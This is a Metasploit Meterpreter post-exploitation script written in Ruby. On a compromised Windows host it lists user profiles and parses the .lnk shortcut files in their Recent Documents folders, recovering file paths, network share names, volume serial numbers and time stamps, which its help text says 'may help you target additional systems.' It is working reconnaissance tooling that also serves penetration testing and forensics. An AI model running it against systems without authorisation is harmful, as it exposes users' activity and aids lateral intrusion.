# $Id: dumplinks.rb 10277 2010-09-09 16:09:27Z darkoperator $
# $Revision: 10277 $
# Author: davehull at dph_msf@trustedsignal.com
#-------------------------------------------------------------------------------

opts = Rex::Parser::Arguments.new(
	"-h" => [ false, "Help menu." ],
	"-e" => [ false, "Dump everything for each link file." ],
	"-w" => [ false, "Redirect output to file."]
)

@everything, @output_dir, @data_out = nil
opts.parse(args) { |opt, idx, val|
	case opt
	when '-e'
		@everything = true
	when '-w'
		@output_dir = ::File.join(Msf::Config.log_directory,'scripts', 'dumplinks')
	when "-h"
		print_line "dumplinks -- parse .lnk files from user's Recent Documents"
		print_line
		print_line "dumplinks is a modified port of Harlan Carvey's lslnk.pl Perl script."
		print_line "dumplinks parses .lnk files from a user's Recent documents folder and"
		print_line "Microsoft Office's Recent documents folder, if present. Windows creates"
		print_line "these link files automatically for many common file types."
		print_line
		print_line "\tResults are saved to #{::File.join(Msf::Config.log_directory, 'dumplinks')} if -w is used."
		print_line
		print_line "The .lnk files contain time stamps, file locations, including share"
		print_line "names, volume serial #s and more. This info may help you target"
		print_line "additional systems."
		print_line
		print_line "By default, dumplinks only returns the destination for the shortcut."
		print_line "See the available arguments for other options."
		print_line (opts.usage)
		raise Rex::Script::Completed
	end
}

# ----------------------------------------------------------------
# Set up the environment
@client = client
info = @client.sys.config.sysinfo
os = @client.sys.config.sysinfo['OS']

if @output_dir
	# Create filename info to be appended to downloaded files
	filenameinfo = "_" + ::Time.now.strftime("%Y%m%d")

	# Create a directory for the output
	@logs = ::File.join(@output_dir, info['Computer'] + filenameinfo)

	# Create output directory
	::FileUtils.mkdir_p(@logs)
end
# ---------------------------------------------------------------

# Function for enumerating users if running as SYSTEM
# Borrowed from get_pidgin_creds
def enum_users(os)
	users = []
	userinfo = {}
	user = @client.sys.config.getuid
	userpath = nil
	useroffcpath = nil
	sysdrv = @client.fs.file.expand_path("%SystemDrive%")
	if os =~ /Windows 7|Vista|2008/
		userpath = sysdrv + "\\Users\\"
		lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\"
		officelnkpath = "\\AppData\\Roaming\\Microsoft\\Office\\Recent\\"
	else
		userpath = sysdrv + "\\Documents and Settings\\"
		lnkpath = "\\Recent\\"
		officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\"
	end
	if user == "NT AUTHORITY\\SYSTEM"
		print_status("Running as SYSTEM extracting user list...")
		@client.fs.dir.foreach(userpath) do |u|
			next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/
			userinfo['username'] = u
			userinfo['userpath'] = userpath + u + lnkpath
			userinfo['useroffcpath'] = userpath + u + officelnkpath
			userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
			userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
			users << userinfo
		end
	else
		uservar = @client.fs.file.expand_path("%USERNAME%")
		userinfo['username'] = uservar
		userinfo['userpath'] = userpath + uservar + lnkpath
		userinfo['useroffcpath'] = userpath + uservar + officelnkpath
		userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
		userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
		users << userinfo
	end
	return users
end

# This is a hack because Meterpreter doesn't support exists?(file)
def dir_entry_exists(path)
	files = @client.fs.dir.entries(path)
rescue
	return nil
else
	return path
end

def extract_lnk_info(path)
	@client.fs.dir.foreach(path) do |file_name|
		if file_name =~ /\.lnk$/   # We have a .lnk file
			record = nil
			offset = 0 # ToDo: Look at moving this to smaller scope
			lnk_file = @client.fs.file.new(path + file_name, "rb")
			record = lnk_file.sysread(0x04)
			if record.unpack('V')[0] == 76  # We have a .lnk file signature
				file_stat = @client.fs.filestat.new(path + file_name)
				print_status "Processing: #{path + file_name}."
				@data_out = ""

				record = lnk_file.sysread(0x48)
				hdr = get_headers(record)

				if @everything
					@data_out += get_lnk_file_MAC(file_stat, path, file_name)
					@data_out += "Contents of #{path + file_name}:\n"
					@data_out += get_flags(hdr)
					@data_out += get_attrs(hdr)
					@data_out += get_lnk_MAC(hdr)
					@data_out += get_showwnd(hdr)
					@data_out += get_lnk_MAC(hdr)
				end
				if shell_item_id_list(hdr)
					# advance the file & offset
					offset += 0x4c
					lnk_file.sysseek(offset, ::IO::SEEK_SET)
					record = lnk_file.sysread(2)
					offset += record.unpack('v')[0] + 2
				end
				# Get File Location Info
				if (hdr["flags"] & 0x02) > 0
					lnk_file.sysseek(offset, ::IO::SEEK_SET)
					record = lnk_file.sysread(4)
					tmp = record.unpack('V')[0]
					if tmp > 0
						lnk_file.sysseek(offset, ::IO::SEEK_SET)
						record = lnk_file.sysread(0x1c)
						loc = get_file_location(record)
						if (loc['flags'] & 0x01) > 0
							if @everything
								@data_out += "\tShortcut file is on a local volume.\n"
							end
							lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET)
							record = lnk_file.sysread(0x10)
							lvt = get_local_vol_tbl(record)
							lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10)
							if @everything
								@data_out += "\t\tVolume Name = #{lvt['name']}\n" +
									"\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" +
									"\t\tVolume SN   = 0x%X" % lvt['vol_sn'] + "\n"
							end
						end

						if (loc['flags'] & 0x02) > 0
							if @everything
								@data_out += "\tFile is on a network share.\n"
							end
							lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET)
							record = lnk_file.sysread(0x14)
							nvt = get_net_vol_tbl(record)
							nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14)
							if @everything
								@data_out += "\tNetwork Share name = #{nvt['name']}\n"
							end
						end

						if loc['base_ofs'] > 0
							@data_out += get_target_path(loc['base_ofs'] + offset, lnk_file)
						elsif loc['path_ofs'] > 0
							@data_out += get_target_path(loc['path_ofs'] + offset, lnk_file)
						end
					end
				end
			end
			lnk_file.close
			if @output_dir
				@file_out_name = @logs + "/" + file_name + ".txt"
				print_status "Writing: #{@file_out_name}"
				filewrt(@file_out_name, @data_out)
			else
				print_status @data_out
			end
		end
	end
end

# Not only is this code slow, it seems
# buggy. I'm studying the recently released
# MS Specs for a better way.
def get_target_path(path_ofs, lnk_file)
	name = []
	lnk_file.sysseek(path_ofs, ::IO::SEEK_SET)
	record = lnk_file.sysread(2)
	while (record.unpack('v')[0] != 0)
		name.push(record)
		record = lnk_file.sysread(2)
	end
	return "\tTarget path = #{name.join}\n"
end

def shell_item_id_list(hdr)
	# Check for Shell Item ID List
	if (hdr["flags"] & 0x01) > 0
		return true
	else
		return nil
	end
end

def get_lnk_file_MAC(file_stat, path, file_name)
	data_out = "#{path + file_name}:\n"
	data_out += "\tAccess Time       = #{file_stat.atime}\n"
	data_out += "\tCreation Date     = #{file_stat.ctime}\n"
	data_out += "\tModification Time = #{file_stat.mtime}\n"
	return data_out
end

def get_vol_type(type)
	vol_type = { 0 => "Unknown",
		1 => "No root directory",
		2 => "Removable",
		3 => "Fixed",
		4 => "Remote",
		5 => "CD-ROM",
		6 => "RAM Drive"}
	return vol_type[type]
end

def get_showwnd(hdr)
	showwnd = { 0 => "SW_HIDE",
		1 => "SW_NORMAL",
		2 => "SW_SHOWMINIMIZED",
		3 => "SW_SHOWMAXIMIZED",
		4 => "SW_SHOWNOACTIVE",
		5 => "SW_SHOW",
		6 => "SW_MINIMIZE",
		7 => "SW_SHOWMINNOACTIVE",
		8 => "SW_SHOWNA",
		9 => "SW_RESTORE",
		10 => "SHOWDEFAULT"}
	data_out = "\tShowWnd value(s):\n"
	showwnd.each do |key, value|
		if (hdr["showwnd"] & key) > 0
			data_out += "\t\t#{showwnd[key]}.\n"
		end
	end
	return data_out
end

def get_lnk_MAC(hdr)
	data_out = "\tTarget file's MAC Times stored in lnk file:\n"
	data_out += "\t\tCreation Time     = #{Time.at(hdr["ctime"])}. (UTC)\n"
	data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n"
	data_out += "\t\tAccess Time       = #{Time.at(hdr["atime"])}. (UTC)\n"
	return data_out
end

def get_attrs(hdr)
	fileattr = {0x01 => "Target is read only",
		0x02 => "Target is hidden",
		0x04 => "Target is a system file",
		0x08 => "Target is a volume label",
		0x10 => "Target is a directory",
		0x20 => "Target was modified since last backup",
		0x40 => "Target is encrypted",
		0x80 => "Target is normal",
		0x100 => "Target is temporary",
		0x200 => "Target is a sparse file",
		0x400 => "Target has a reparse point",
		0x800 => "Target is compressed",
		0x1000 => "Target is offline"}
	data_out = "\tAttributes:\n"
	fileattr.each do |key, attr|
		if (hdr["attr"] & key) > 0
			data_out += "\t\t#{fileattr[key]}.\n"
		end
	end
	return data_out
end

# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
	output = ::File.open(file2wrt, "a")
	if data2wrt
		data2wrt.each_line do |d|
			output.puts(d)
		end
	end
	output.close
end

def get_flags(hdr)
	flags  = {0x01 => "Shell Item ID List exists",
		0x02 => "Shortcut points to a file or directory",
		0x04 => "The shortcut has a descriptive string",
		0x08 => "The shortcut has a relative path string",
		0x10 => "The shortcut has working directory",
		0x20 => "The shortcut has command line arguments",
		0x40 => "The shortcut has a custom icon"}
	data_out = "\tFlags:\n"
	flags.each do |key, flag|
		if (hdr["flags"] & key) > 0
			data_out += "\t\t#{flags[key]}.\n"
		end
	end
	return data_out
end

def get_headers(record)
	hd = record.unpack('x16V12x8')
	hdr = Hash.new()
	hdr["flags"]    = hd[0]
	hdr["attr"]     = hd[1]
	hdr["ctime"]    = get_time(hd[2], hd[3])
	hdr["mtime"]    = get_time(hd[4], hd[5])
	hdr["atime"]    = get_time(hd[6], hd[7])
	hdr["length"]   = hd[8]
	hdr["icon_num"] = hd[9]
	hdr["showwnd"]  = hd[10]
	hdr["hotkey"]   = hd[11]
	return hdr
end

def get_net_vol_tbl(file_net_rec)
	nv = Hash.new()
	(nv['len'], nv['ofs']) = file_net_rec.unpack("Vx4Vx8")
	return nv
end

def get_local_vol_tbl(lvt_rec)
	lv = Hash.new()
	(lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4')
	return lv
end

def get_file_location(file_loc_rec)
	location = Hash.new()
	(location["len"], location["ptr"], location["flags"],
		location["vol_ofs"], location["base_ofs"], location["network_ofs"],
		location["path_ofs"]) = file_loc_rec.unpack('V7')
	return location
end

def get_time(lo_byte, hi_byte)
	if (lo_byte == 0 && hi_byte == 0)
		return 0
	else
		lo_byte -= 0xd53e8000
		hi_byte -= 0x019db1de
		time = (hi_byte * 429.4967296 + lo_byte/1e7).to_i
		if time < 0
			return 0
		end
	end
	return time
end
if client.platform =~ /win32|win64/
	enum_users(os).each do |user|
		if user['userpath']
			print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..."
			extract_lnk_info(user['userpath'])
		else
			print_status "No Recent directory found for user #{user['username']}. Nothing to do."
		end
		if user['useroffcpath']
			print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..."
			extract_lnk_info(user['useroffcpath'])
		else
			print_status "No Recent Office files found for user #{user['username']}. Nothing to do."
		end
	end
else
	print_error("This version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end
